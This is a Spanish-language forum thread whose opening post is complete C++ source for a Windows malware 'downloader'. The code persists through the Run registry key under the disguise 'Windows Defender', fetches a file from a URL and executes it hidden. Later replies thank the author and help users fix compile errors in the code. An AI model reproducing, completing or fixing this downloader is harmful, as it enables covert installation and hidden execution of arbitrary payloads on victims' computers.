Página 1 de 1
[c++]Downloader
Publicado: 20 Dic 2008, 13:43
por l00l
Código: Seleccionar todo
#include <iostream>
#include <windows.h>
#include <shlobj.h>
#include <wininet.h>
#pragma comment (lib, "wininet.lib")
void startup( char *szValue )
{
HKEY hKey;
char szFile[MAX_PATH];
GetModuleFileName( NULL, szFile, sizeof(szFile) );
if( IsUserAnAdmin() )
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
else
RegOpenKeyEx( HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
RegSetValueEx( hKey, szValue, 0, REG_SZ, (unsigned char *)szFile, strlen(szFile) + 1 );
RegCloseKey( hKey );
}
bool download( char *szLink, char *szFile )
{
unsigned long bRead;
char szBuffer[98];
HINTERNET hRequest = InternetOpen( "wget", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 );
if( hRequest == NULL )
return false;
HINTERNET hOpen = InternetOpenUrl( hRequest, szLink, NULL, 0, 0, 0 );
if( hOpen == NULL )
return false;
FILE* pFile = fopen( szFile, "wb" );
if( pFile == NULL )
return false;
while( InternetReadFile( hOpen, szBuffer, sizeof(szBuffer), &bRead ) )
{
if( bRead == NULL )
break;
fwrite( szBuffer, sizeof(char), bRead, pFile );
}
fclose( pFile );
InternetCloseHandle( hRequest );
InternetCloseHandle( hOpen );
ShellExecute( NULL, "open", szFile, NULL, NULL, SW_HIDE );
return true;
}
int main()
{
HANDLE hMutex = CreateMutex( NULL, FALSE, "st00p1d" );
if( GetLastError() == ERROR_ALREADY_EXISTS )
ExitProcess(0);
startup( "Windows Defender" );
while( 1 )
if( download( "http://images.google.com/intl/en_ALL/images/images_hp.gif", "lol.gif" ) )
break;
ReleaseMutex( hMutex );
return 0;
}
Re: [c++]Downloader
Publicado: 20 Dic 2008, 16:53
por SorlaC.
Mmm, gracias, muy interesante...
Saludos!
Re: [c++]Downloader
Publicado: 20 Dic 2008, 20:43
por sod
gran aporte , mira que no he sido capaz de encontrar yo ningun downloader en c++
Saludos
Re: [c++]Downloader
Publicado: 10 Abr 2009, 07:08
por wasamandrapa
Muchas gracias, se agradece por todo señor.
Re: [c++]Downloader
Publicado: 18 Abr 2009, 12:07
por wasamandrapa
Disculpen soy bien nobato en la programacion, ¿por que me sale estos 2 errores?
esta se produe en la linea 24
14 C:\Documents and Settings\mi_makina\Escritorio\c++_dev\SinNombre1.cpp `IsUserAnAdmin' undeclared (first use this function)
if( IsUserAnAdmin() )
y esta se produce en la linea 42
42 C:\Documents and Settings\mi_makina\Escritorio\c++_dev\SinNombre1.cpp [Warning] NULL used in arithmetic
if( bRead == NULL )
No creo que sea culpa del IDE, por que lo e probado con varios, gracias de antemano.
saludos
Re: [c++]Downloader
Publicado: 18 Abr 2009, 13:31
por QuoRuS
Gracias
wasamandrapa escribió:Disculpen soy bien nobato en la programacion, ¿por que me sale estos 2 errores?
esta se produe en la linea 24
14 C:\Documents and Settings\mi_makina\Escritorio\c++_dev\SinNombre1.cpp `IsUserAnAdmin' undeclared (first use this function)
if( IsUserAnAdmin() )
y esta se produce en la linea 42
42 C:\Documents and Settings\mi_makina\Escritorio\c++_dev\SinNombre1.cpp [Warning] NULL used in arithmetic
if( bRead == NULL )
No creo que sea culpa del IDE, por que lo e probado con varios, gracias de antemano.
saludos
Te faltara o no tendras alguna de los includes declarados al principio.
Salu2
Re: [c++]Downloader
Publicado: 20 Abr 2009, 16:06
por wasamandrapa
Ya lo as compilado QuoRuS ?
Re: [c++]Downloader
Publicado: 20 Abr 2009, 16:56
por leos_79
un while (1) y un Break ?
no digo que no funcione, pero en programación cosas asi estan muy mal vistas (si hubiera hecho algo asi en un parcial, ni miran lo demas me ponen un 2 de una ) . como el uso del
Goto(satanico mal) jaja.
por algo es programación estructurada.
Forma incorrecta de hacerlo
while( 1 )
if( download( "[Enlace externo eliminado para invitados]", "lol.gif" ) )
break;
Forma correcta de hacerlo
Bool descargo
DO{
descargo = download( "[Enlace externo eliminado para invitados]", "lol.gif" );
}WHILE(descargo == false);
esto es mas que nada para los que quieren empezar Programación.
no estudien un lenguaje, estudien programación.
a los que no les interesa la programación y hacen programas rara vez para uso personal , no leyeron nada xD
saludos!
Re: [c++]Downloader
Publicado: 20 Abr 2009, 18:12
por wasamandrapa
leos_79, muy educativa tu respuesta, gracias, puedes reponde mi inquietud por favor .
Re: [c++]Downloader
Publicado: 20 Abr 2009, 18:58
por leos_79
en el de la linea 42 pobrá esto
if( bRead == 0 )
dado q esta declarado asi
unsigned long bRead;
osea solo puede tener numeros, NULL seria para un char
y lo de IsUserAnAdmin , tendria q andar , porq la libreria esta declarada.
quiza falta declararla arriba
Bool IsUserAnAdmin(void);
saludos!
Re: [c++]Downloader
Publicado: 22 Abr 2009, 19:02
por wasamandrapa
Gracais leos_79 probaré en estos dias tu consejo, sino que estoi full en estos dias, luego comento si me funcionó :D
saludos
Re: [c++]Downloader
Publicado: 15 Dic 2009, 20:14
por Cyber-Sec
grasias mucas :D
Re: [c++]Downloader
Publicado: 23 Dic 2011, 05:31
por valium7
16 I:\Documents and Settings\\Mis documentos\Descargas\Untitled1.cpp `IsUserAnAdmin' undeclared (first use this function)
I:\Documents and Settings\\Mis documentos\Descargas\Untitled1.cpp In function `bool download(char*, char*)':
Re: [c++]Downloader
Publicado: 23 Dic 2011, 17:14
por linkgl
Esta viejísimo el tema, si tienes dudas respecto al código te invito a abrir un nuevo tema.
Saludos!